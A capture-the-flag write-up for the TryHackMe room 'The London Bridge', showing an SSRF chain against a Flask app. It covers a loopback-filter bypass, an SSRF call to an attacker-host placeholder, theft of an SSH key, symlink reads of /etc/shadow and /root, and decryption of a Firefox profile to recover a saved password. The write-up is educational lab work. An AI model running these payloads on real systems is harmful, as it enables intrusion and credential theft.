> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/tryhackme/the-london-bridge-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# The London Bridge writeup

`The London Bridge` is built around a Flask "Explore London" gallery app served behind Gunicorn. A hidden `/view_image` endpoint takes a form-encoded URL and fetches it server-side—classic SSRF—but the visible `image_url` parameter is not the one actually wired up in the code. Fuzzing form field names reveals the real parameter: `www`.

The app blocks `localhost`/`127.0.0.1`/`0.0.0.0` through URL string matching, which is bypassed with the alternate loopback representation `http://0/`. The SSRF can then reach a root-owned Python `http.server` bound to `127.0.0.1:80`, serving the target's home directory. Because it runs as root, it serves files regardless of ordinary Unix permissions.

Reading `.ssh/id_rsa` through SSRF yields a private key. The `authorized_keys` comment identifies the appropriate user, `beth`, allowing direct SSH access. From there, symlinks combined with the root-run HTTP server and SSRF expose `/etc/shadow`, a root-only flag file, and another user's Firefox profile—without requiring a root shell.

The Firefox profile is decrypted locally after avoiding binary corruption caused by proxying binary files through Flask's `requests.get().text`.

## Attack Chain

```
nmap -> SSH (22) + Gunicorn "Explore London" app (8080)
   |
/gallery -> image upload form, .php upload blocked by PIL-based image validation
   |
Hidden /view_image endpoint -> visible "image_url" field does nothing; ffuf discovers real param is "www"
   |
Confirmed SSRF: www=http://<ATTACKER_IP>/evil.php -> server fetches attacker URL
   |
is_local() filter blocks literal "localhost"/"127.0.0.1"/"0.0.0.0" strings
   |
Bypass with alternate loopback notation: www=http://0/...
   |
SSRF reaches a root-run "python3 -m http.server 80 --bind 127.0.0.1" serving beth's home dir
   |
Read .ssh/id_rsa + .ssh/authorized_keys (comment: beth@london) via SSRF -> SSH as beth
   |
app.py source confirms the "www" param + is_local() filter -> user.txt flag
   |
ss/ps aux confirms root owns the internal port-80 http.server
   |
Symlink tricks (root_dir_link -> /root, shadow_link -> /etc/shadow, charles_dir -> /home/charles)
   |
SSRF + root-run http.server reads ANY file on disk regardless of Unix perms
   |
Root flag + full /etc/shadow dump + charles' entire Firefox profile, all without a root shell
   |
Firefox profile decrypted locally -> Charles' saved browser credential
```

## Recon

```bash
nmap -A -Pn <MACHINE_IP> -o nmap
```

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 58:c1:e4:79:ca:70:bc:3b:8d:b8:22:17:2f:62:1a:34 (RSA)
|   256 2a:b4:1f:2c:72:35:7a:c3:7a:5c:7d:47:d6:d0:73:c8 (ECDSA)
|_  256 1c:7e:d2:c9:dd:c2:e4:ac:11:7e:45:6a:2f:44:af:0f (ED25519)
8080/tcp open  http    Gunicorn
|_http-title: Explore London
|_http-server-header: gunicorn
```

```bash
curl http://<MACHINE_IP>:8080/
```

```html
<title>Explore London</title>
...
<h1>Welcome to Explore London</h1>
<nav>
  <a href="/">Home</a>
  <a href="#">Attractions</a>
  <a href="#">Events</a>
  <a href="/gallery">Gallery</a>
  <a href="/contact">Contact</a>
</nav>
```

```bash
whatweb http://<MACHINE_IP>:8080/
```

```
http://<MACHINE_IP>:8080/ [200 OK] HTML5, HTTPServer[gunicorn], Title[Explore London]
```

The gallery page has an upload form:

```bash
curl http://<MACHINE_IP>:8080/gallery
```

```html
<h1>London Gallery</h1>
<div class="container">
    <img class="image" src="/uploads/www.usnews.jpeg" alt="www.usnews.jpeg">
    <img class="image" src="/uploads/04.jpg" alt="04.jpg">
    <img class="image" src="/uploads/Untitled.png" alt="Untitled.png">
    <img class="image" src="/uploads/images.jpeg" alt="images.jpeg">
    <img class="image" src="/uploads/e3.jpg" alt="e3.jpg">
    <img class="image" src="/uploads/caption.jpg" alt="caption.jpg">
    <img class="image" src="/uploads/Thames.jpg" alt="Thames.jpg">
</div>
<h5>Visited London recently? Contribute to the gallery</h5>
<form method="POST" action="/upload" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" value="Upload">
</form>
<!--To devs: Make sure that people can also add images using links-->
```

That HTML comment—*"Make sure that people can also add images using links"*—is a strong hint that a URL-based image feature exists somewhere, even if it is not linked from the page.

Directory brute-force confirmed the visible routes and found two endpoints that respond with `405` to `GET`, indicating they expect `POST`:

```bash
feroxbuster -u http://<MACHINE_IP>:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt
```

```
200      GET       54l      125w     1722c http://<MACHINE_IP>:8080/gallery
200      GET       59l      127w     1703c http://<MACHINE_IP>:8080/contact
200      GET       82l      256w     2682c http://<MACHINE_IP>:8080/
405      GET        4l       23w      178c http://<MACHINE_IP>:8080/feedback
405      GET        4l       23w      178c http://<MACHINE_IP>:8080/upload
200      GET      ...       http://<MACHINE_IP>:8080/uploads/images.jpeg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/e3.jpg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/caption.jpg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/04.jpg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/www.usnews.jpeg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/Thames.jpg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/Untitled.png
405      GET        4l       23w      178c http://<MACHINE_IP>:8080/view_image
200      GET       32l       67w      823c http://<MACHINE_IP>:8080/dejaview
```

`/view_image` and `/upload` both require `POST`.

A plain PHP web shell upload does not work:

```
i tried uploading a php but no use
```

Reading `app.py` later confirms why: uploads are validated with Pillow using `Image.open(...).verify()`, so non-image files are deleted immediately after upload.

## Vulnerability Discovery: SSRF via `/view_image`

`/view_image` renders a form with a field named `image_url`:

```html
<form action="/view_image" method="post">
    <label for="image_url">Enter Image URL:</label><br>
    <input type="text" id="image_url" name="image_url" required><br><br>
    <input type="submit" value="View Image">
</form>
```

Submitting a URL through the browser form and watching the Network tab shows that the POST body is `image_url: "/uploads/Thames.jpg"`. The response simply echoes the field back into the page without fetching it server-side.

Testing directly against the visible field name also does not trigger a request:

```bash
curl http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -F 'www=http://<ATTACKER_IP>/evil.php'
```

```html
<h1>View Image</h1>
<form action="/view_image" method="post">
    <label for="image_url">Enter Image URL:</label><br>
    ...
</form>
```

`-F` sends multipart form data rather than `application/x-www-form-urlencoded`, despite the manually supplied header, so the server does not parse the field as expected.

Fuzzing the parameter name discovers the actual SSRF parameter:

```bash
ffuf -u http://<MACHINE_IP>:8080/view_image -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=http://<ATTACKER_IP>/evil' -mc all -fs 823
```

```
www                     [Status: 200, Size: 335, Words: 84, Lines: 14, Duration: 149ms]
```

The real parameter is `www`, not `image_url`.

Start a listener:

```bash
python3 -m http.server 80
```

```
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Trigger the endpoint:

```bash
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://<ATTACKER_IP>/evil.php'
```

```
10.48.156.179 - - [10/Aug/2026 23:09:57] code 404, message File not found
10.48.156.179 - - [10/Aug/2026 23:09:57] "GET /evil HTTP/1.1" 404 -
```

The server-side application fetches URLs supplied in `www` and returns the response body, confirming SSRF.

## Bypassing the Localhost Filter

Direct internal-address attempts are blocked:

```bash
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://127.0.0.1/'
```

```
(no useful output - blocked/empty)
```

```bash
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://127.0.0.1:5000/'
```

```html
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>You don't have the permission to access the requested resource. It is either read-protected or not readable by the server.</p>
```

Use numeric all-zero loopback notation:

```bash
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/'
```

```html
<HTML>
<body bgcolor="gray">
<h1>London brigde</h1>
<img height=400px width=600px src ="static/1.webp"><br>
<font type="monotype corsiva" size=18>London Bridge is falling down<br>
    Falling down, falling down<br>
    London Bridge is falling down<br>
    My fair lady<br>
    ...
</font>
</body>
</HTML>
```

`http://0/` resolves to `0.0.0.0` but does not contain the blocked strings. The filter is bypassed, allowing access to an internal-only web service.

The app source later confirms the blacklist:

```python
def is_local(url):
    if 'localhost' in url or '127.0.0.1' in url or '0.0.0.0' in url:
        return True
    return False
```

## Enumerating the Internal Service via SSRF

```bash
ffuf -u http://<MACHINE_IP>:8080/view_image -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'www=http://0/FUZZ' -fs 823,469
```

```
templates               [Status: 200, Size: 1294, Words: 358, Lines: 44, Duration: 67ms]
uploads                 [Status: 200, Size: 630, Words: 23, Lines: 22, Duration: 56ms]
static                  [Status: 200, Size: 420, Words: 19, Lines: 18, Duration: 157ms]
.                       [Status: 200, Size: 1270, Words: 230, Lines: 37, Duration: 73ms]
.cache                  [Status: 200, Size: 474, Words: 19, Lines: 18, Duration: 78ms]
.local                  [Status: 200, Size: 414, Words: 19, Lines: 18, Duration: 135ms]
.ssh                    [Status: 200, Size: 399, Words: 18, Lines: 17, Duration: 133ms]
.bashrc                 [Status: 200, Size: 3771, Words: 522, Lines: 118, Duration: 131ms]
.bash_logout            [Status: 200, Size: 220, Words: 35, Lines: 8, Duration: 59ms]
.bash_history           [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 142ms]
```

The internal service is a directory-listing HTTP server rooted in a user's home directory. The app's `templates`, `static`, and `uploads` directories are visible, as is `.ssh`.

```bash
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/.ssh/'
```

```html
<title>Directory listing for /.ssh/</title>
<ul>
<li><a href="authorized_keys">authorized_keys</a></li>
<li><a href="id_rsa">id_rsa</a></li>
</ul>
```

## Extracting the SSH Private Key

```bash
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/.ssh/id_rsa'
```

```
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAz1yFrg9FAZAI4R37aQWn/ePTk/MKfz2KQ+OE45KErguL34Yj
...
7MDu4QKBgFIomwhD+jmr3Vc2HutYkl3zliSD239sH3k118sTHbedvKH5Q7nw0C+U
a7RMp/cXWZKdyRgFxQ7DQEorzWi5bLAyxXnMg0ghwWdf4nugQmaEG7t+OYUNsf7M
fDLzMA915WcODR6L0mWO0crAMbZQOkg1KlAiwQSQmuUpPqyAfq6x
-----END RSA PRIVATE KEY-----
```

Save the key and set appropriate permissions:

```bash
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/.ssh/id_rsa' -s | tee id_rsa
chmod 600 id_rsa
```

An initial user guess fails:

```bash
ssh -i id_rsa www@<MACHINE_IP>
```

```
www@<MACHINE_IP>: Permission denied (publickey).
```

Retrieve `authorized_keys`:

```bash
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/.ssh/authorized_keys'
```

```
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPXIWuD0UBkAjhHftpBaf949OT8wp/PYpD44TjkoSuC4vfhiPkpzVUmMNNM1GZz681FmJ4LwTB6VaCnBwoAJrvQp7ar/vNEtYeHbc5TFaJIAA5FN5rWzl66zeCFNaNx841E4CQSDs7dew3CCn3dRQHzBtT4AOlmcUs9QMSsUqhKn53EbivHCqkCnqZqqwTh0hkd0Cr5i3r/Yc4REqsVaI41Cl3pkDxrfbmhZdjxRpES8pO5dyOUvnq3iJZDOxFBsG8H4RODaZrTW78eZbcz1LKug/KlwQ6q8+e4+mpcdm7sHAAszk0eFcI2a37QQ4Fgq96OwMDo15l8mDDrk1Ur7aF beth@london
```

The comment identifies the user as `beth`:

```bash
ssh -i id_rsa beth@<MACHINE_IP>
```

```
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-112-generic x86_64)
Last login: Mon May 13 22:38:30 2024 from 192.168.62.137
beth@london:~$ whoami
beth
beth@london:~$ id
uid=1000(beth) gid=1000(beth) groups=1000(beth)
```

## Post-Exploitation as `beth`

```bash
ls -la
```

```
-rw-rw-r--  1 beth beth 3215 Apr 17  2024 app.py
-rw-rw-r--  1 beth beth  328 Apr 17  2024 gunicorn_config.py
-rw-r--r--  1 beth beth 1270 Apr 17  2024 index.html
drwxrwxr-x  6 beth beth 4096 Sep 17  2023 .env
drwxrwxr-x  2 beth beth 4096 Apr 17  2024 static
drwxrwxr-x  2 beth beth 4096 Apr 17  2024 templates
drwxrwxr-x  2 beth beth 4096 Aug 10 19:52 uploads
```

The application source confirms the vulnerable behavior:

```python
from flask import Flask, render_template, request, send_from_directory, redirect, url_for, abort
import os
from PIL import Image
import requests
from werkzeug.utils import secure_filename
import base64

def is_local(url):
    if 'localhost' in url or '127.0.0.1' in url or '0.0.0.0' in url:
        return True
    return False

app = Flask(__name__)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

def is_image(file_path):
    try:
        with Image.open(file_path) as img:
            img.verify()
        return True
    except:
        return False

@app.route('/')
def home():
    return render_template('london.html')

@app.route('/gallery')
def gallery():
    filenames = os.listdir(app.config['UPLOAD_FOLDER'])
    return render_template('index.html', filenames=filenames)

def home():
    url = request.form.get('www', '')
    if is_local(url):
        abort(403)
    if url:
        return requests.get(url).text
    return "We are currently trying to take pictures as a URL too"

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return "No file part"
    file = request.files['file']
    if file.filename == '':
        return "No selected file"
    if file:
        filename = secure_filename(file.filename)
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        file.save(file_path)
        if is_image(file_path):
            return redirect(url_for('gallery'))
        else:
            os.remove(file_path)
            return "Uploaded file is not an image"
    return "Invalid file"

@app.route('/uploads/<filename>')
def download_file(filename):
    return send_from_directory(app.config['UPLOAD_FOLDER'], filename)

@app.route('/dejaview')
def view():
    return render_template('view.html')

@app.route('/view_image', methods=['POST'])
def view_image():
    image_url = request.form.get('image_url', '')
    url = request.form.get('www', '')
    if is_local(url):
        abort(403)
    if url:
        return requests.get(url).text
    return render_template('view.html', image_url=image_url)

@app.route('/contact')
def contact():
    return render_template('contact.html')

@app.route('/feedback', methods=['POST'])
def feedback():
    name = request.form.get('name')
    email = request.form.get('email')
    message = request.form.get('message')
    print(f"Received feedback from {name} ({email}): {message}")
    return render_template('feedback_response.html', name=name)

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8080)
```

`image_url` is cosmetic, `www` is the SSRF sink, and `is_local()` uses a naive substring blacklist.

Retrieve the user flag:

```bash
find / -type f -name 'user.txt' 2>/dev/null
```

```
/home/beth/__pycache__/user.txt
```

```bash
cat /home/beth/__pycache__/user.txt
```

```
-
```

## Confirming the Internal Server Runs as Root

```bash
ss -tulnp
```

```
tcp   LISTEN 0 128            0.0.0.0:8080         0.0.0.0:*
tcp   LISTEN 0   5          127.0.0.1:80           0.0.0.0:*
tcp   LISTEN 0 128            0.0.0.0:22            0.0.0.0:*
```

```bash
ps aux | grep 80
```

```
root         1  0.0  0.4 159468  8808 ?        Ss   19:32   0:01 /sbin/init noprompt
root       447  0.4  0.8  56956 17300 ?        Ss   19:32   0:14 /usr/bin/python3 -m http.server 80 --bind 127.0.0.1
```

The internal service reached through SSRF is a stock `python3 -m http.server` running as root and bound to loopback.

```bash
ls -la /home/charles/
```

```
ls: cannot open directory '/home/charles/': Permission denied
```

`beth` cannot directly read Charles' home directory, but the root-run HTTP server can.

## Reading Root-Owned Files Without a Root Shell

The root HTTP server serves Beth's home directory and follows symlinks. Symlinks created in that directory are therefore served with root's access permissions.

Create a symlink to a presumed root flag path:

```bash
ln -s /root/root.txt root_flag_link
```

```bash
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/root_flag_link'
```

```
404 - Nothing matches the given URI.
```

Create a directory symlink instead:

```bash
ln -s /root root_dir_link
```

```bash
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/root_dir_link/'
```

```html
<title>Directory listing for /root_dir_link/</title>
<ul>
<li><a href=".bash_history">.bash_history@</a></li>
<li><a href=".bashrc">.bashrc</a></li>
<li><a href=".cache/">.cache/</a></li>
<li><a href=".gnupg/">.gnupg/</a></li>
<li><a href=".local/">.local/</a></li>
<li><a href=".profile">.profile</a></li>
<li><a href=".root.txt">.root.txt</a></li>
<li><a href=".selected_editor">.selected_editor</a></li>
<li><a href="__pycache__/">__pycache__/</a></li>
<li><a href="flag.py">flag.py</a></li>
<li><a href="flag.pyc">flag.pyc</a></li>
<li><a href="test.py">test.py</a></li>
</ul>
```

The flag is a hidden file:

```bash
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/root_dir_link/.root.txt'
```

```
-
```

Read `/etc/shadow` with the same technique:

```bash
ln -s /etc/shadow shadow_link
```

```bash
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/shadow_link'
```

```
root:$6$MuyQc/EB$TJ0f4UvSAQ/e8N2ehICim6KRPqsD2RBqQHRtaxluPLxeWazD3PU5RCc35JR62gKK6WvpA9v0r73jswtU4KSLU/:19792:0:99999:7:::
...
beth:$6$A/tivpZQ$Cgshl0A8kvAR08NLdpSeeZwimPLbipJ.KrVuWVOvKu8AT7cl8b1J5.2VvaS0fu8sa74Jd7pdNpqN/gmFLOC6W.:19807:0:99999:7:::
sshd:*:19616:0:99999:7:::
charles:$6$yO4vvijF$RIQZn9g5y5s3cP61AvKHe9ou2miZgmPdzlf.4gWinIEaG4PyBFPm5cgm0OMQF18./TBhs48Q/UmjOCs/ye7dV0:19798:0:99999:7:::
```

## Pivoting to Charles' Firefox Profile

```bash
ln -s /home/charles charles_dir
```

```bash
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/charles_dir'
```

```html
<title>Directory listing for /charles_dir/</title>
<ul>
<li><a href=".bash_history">.bash_history@</a></li>
<li><a href=".bash_logout">.bash_logout</a></li>
<li><a href=".bashrc">.bashrc</a></li>
<li><a href=".mozilla/">.mozilla/</a></li>
<li><a href=".profile">.profile</a></li>
</ul>
```

Enumerate the Firefox profile:

```bash
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/charles_dir/.mozilla/firefox/8k3bf3zp.charles'
```

```html
<title>Directory listing for /charles_dir/.mozilla/firefox/8k3bf3zp.charles/</title>
<ul>
<li><a href="cert9.db">cert9.db</a></li>
<li><a href="cookies.sqlite">cookies.sqlite</a></li>
<li><a href="key4.db">key4.db</a></li>
<li><a href="logins-backup.json">logins-backup.json</a></li>
<li><a href="logins.json">logins.json</a></li>
<li><a href="places.sqlite">places.sqlite</a></li>
... (full profile directory listing, dozens of standard Firefox profile files)
</ul>
```

The needed files are `cert9.db`, `key4.db`, and `logins.json`.

A loop can retrieve the profile contents through SSRF:

```bash
mkdir profile && cd profile
cat > download.sh << 'EOF'
BASE="http://<MACHINE_IP>:8080/view_image"
DIR="http://0/charles_dir/.mozilla/firefox/8k3bf3zp.charles"

for f in .parentlock addons.json addonStartup.json.lz4 AlternateServices.txt \
         broadcast-listeners.json cert9.db compatibility.ini containers.json \
         content-prefs.sqlite cookies.sqlite extension-preferences.json \
         extensions.json favicons.sqlite formhistory.sqlite handlers.json \
         key4.db logins-backup.json logins.json permissions.sqlite pkcs11.txt \
         places.sqlite prefs.js protections.sqlite search.json.mozlz4 \
         sessionCheckpoints.json sessionstore.jsonlz4 shield-preference-experiments.json \
         SiteSecurityServiceState.txt storage-sync-v2.sqlite storage-sync-v2.sqlite-shm \
         storage-sync-v2.sqlite-wal storage.sqlite times.json webappsstore.sqlite \
         xulstore.json; do
    echo "Fetching $f..."
    curl -s -X POST "$BASE" \
      -H 'Content-Type: application/x-www-form-urlencoded' \
      -d "www=${DIR}/${f}" -o "$f"
done
EOF
```

```bash
bash download.sh
```

```
Fetching .parentlock...
Fetching addons.json...
...
Fetching key4.db...
...
Fetching xulstore.json...
```

## Fixing Binary Corruption from the SSRF Proxy

Decrypting directly against the downloaded profile fails:

```bash
python3 firefox_decrypt/firefox_decrypt.py profile/
```

```
WARNING - profile.ini not found in profile/
ERROR - Couldn't initialize NSS, maybe 'profile/' is not a valid profile?
```

Inspect the retrieved SQLite files:

```bash
file profile/key4.db profile/cert9.db
xxd profile/key4.db | head -3
```

```
profile/key4.db:  SQLite 3.x database, ... page size 57986 ...
00000000: 5351 4c69 7465 2066 6f72 6d61 7420 3300  SQLite format 3.
00000010: e282 ac00 0101 0040 2020 0000 0004 0000  .......@  ......
```

The byte sequence `e2 82 ac` is the UTF-8 encoding of `€`. This indicates that raw binary bytes were interpreted as text and re-encoded. The cause is the application's use of:

```python
requests.get(url).text
```

Binary data is decoded as text before being returned, corrupting SQLite databases and other binary files.

An attempted local repair:

```bash
cat > fix.py << 'EOF'
import sys
def fix_file(path, outpath):
    with open(path, 'rb') as f:
        data = f.read()
    try:
        text = data.decode('utf-8')
        fixed = text.encode('latin-1')
        with open(outpath, 'wb') as out:
            out.write(fixed)
        print(f"{path}: decoded/re-encoded successfully, {len(data)} -> {len(fixed)} bytes")
    except UnicodeDecodeError as e:
        print(f"{path}: FAILED - {e}")
    except UnicodeEncodeError as e:
        print(f"{path}: FAILED on re-encode - {e}")
if __name__ == "__main__":
    fix_file(sys.argv[1], sys.argv[2])
EOF
```

```bash
python3 fix.py key4.db key4_fixed.db
```

```
key4.db: FAILED on re-encode - 'latin-1' codec can't encode character '\u20ac' in position 16: ordinal not in range(256)
```

Trying CP1252 still fails:

```bash
python3 fix.py key4.db key4_fixed.db
```

```
key4.db: FAILED on re-encode - 'charmap' codec can't encode character '\ufffd' in position 31299: character maps to <undefined>
```

Some bytes were replaced with `U+FFFD` during decoding, so the original binary data is permanently lost. The files must be retrieved locally on the target through the loopback HTTP server, where no text-decoding boundary is involved.

```bash
wget http://127.0.0.1/charles_dir/.mozilla/firefox/8k3bf3zp.charles/key4.db -O /tmp/key4.db
wget http://127.0.0.1/charles_dir/.mozilla/firefox/8k3bf3zp.charles/cert9.db -O /tmp/cert9.db
wget http://127.0.0.1/charles_dir/.mozilla/firefox/8k3bf3zp.charles/logins.json -O /tmp/logins.json
```

Transfer the clean files with SCP:

```bash
scp -i id_rsa beth@<MACHINE_IP>:/tmp/key4.db .
scp -i id_rsa beth@<MACHINE_IP>:/tmp/cert9.db .
scp -i id_rsa beth@<MACHINE_IP>:/tmp/logins.json .
```

```
key4.db                                                                        100%  288KB   1.2MB/s   00:00
cert9.db                                                                       100%  224KB 979.4KB/s   00:00
logins.json                                                                    100%  645     8.5KB/s   00:00
```

```bash
file key4.db cert9.db
xxd key4.db | head -3
```

```
key4.db:  SQLite 3.x database, last written using SQLite version 3041002, page size 32768, ...
00000000: 5351 4c69 7465 2066 6f72 6d61 7420 3300  SQLite format 3.
00000010: 8000 0101 0040 2020 0000 0004 0000 0009  .....@  ........
```

## Decrypting the Firefox Profile

```bash
mkdir ../profile_clean
cp key4.db cert9.db logins.json ../profile_clean/
python3 ../firefox_decrypt/firefox_decrypt.py ../profile_clean/
```

```
WARNING - profile.ini not found in ../profile_clean/
Continuing and assuming '../profile_clean/' is a profile location

Website:   https://www.buckinghampalace.com
Username: 'Charles'
Password: 'thekingofengland'
```

## Key Vulnerabilities

| # | Vulnerability                                                                                | Location                                            | Impact                                                                                                        |
| - | -------------------------------------------------------------------------------------------- | --------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- |
| 1 | Hidden/undocumented SSRF parameter (`www`) not matching the visible form field (`image_url`) | `/view_image`                                       | Discoverable only through parameter fuzzing; the UI does not reflect what the backend accepts                 |
| 2 | Full Server-Side Request Forgery, response body returned verbatim                            | `requests.get(url).text` in `view_image()`/`home()` | Arbitrary internal network and file access from an unauthenticated endpoint                                   |
| 3 | Substring-based `localhost`/`127.0.0.1`/`0.0.0.0` blacklist                                  | `is_local()` in `app.py`                            | Bypassed with alternate loopback notation such as `http://0/`                                                 |
| 4 | Root-owned unauthenticated `python3 -m http.server` bound to loopback                        | Internal port 80                                    | Combined with SSRF, becomes an arbitrary-file-read-as-root primitive                                          |
| 5 | Directory-serving HTTP daemon follows symlinks using the server process's permissions        | Internal HTTP server                                | Lets `beth` read `/root`, `/etc/shadow`, and another user's home directory without local privilege escalation |
| 6 | `requests.get(url).text` silently mis-decodes binary responses as text                       | SSRF response handling                              | Corrupts binary files such as SQLite databases, keys, and images                                              |

## Lessons / Takeaways

* **Never trust that a visible form field name matches the backend parameter actually in use.** The exposed `image_url` field did not lead to SSRF; the real sink, `www`, required parameter fuzzing to discover.
* **SSRF filters based on substring blacklists are incomplete.** Blocking `127.0.0.1` and `localhost` does not block alternate loopback representations such as `0`, `0x7f000001`, `017700000001`, IPv6 `::1`, and decimal or octal variants.
* **Running a service as root is dangerous even when it is bound only to loopback.** A loopback-only root HTTP server becomes externally reachable through any SSRF vulnerability on the same machine.
* **HTTP directory servers that follow symlinks use the process permissions, not the permissions of the user who created the symlink.** This enabled read access to `/root`, `/etc/shadow`, and Charles' home directory.
* **Binary data should not be proxied through a text accessor such as `.text`.** Once bytes are decoded as text and replaced with `U+FFFD`, the original content cannot be recovered.
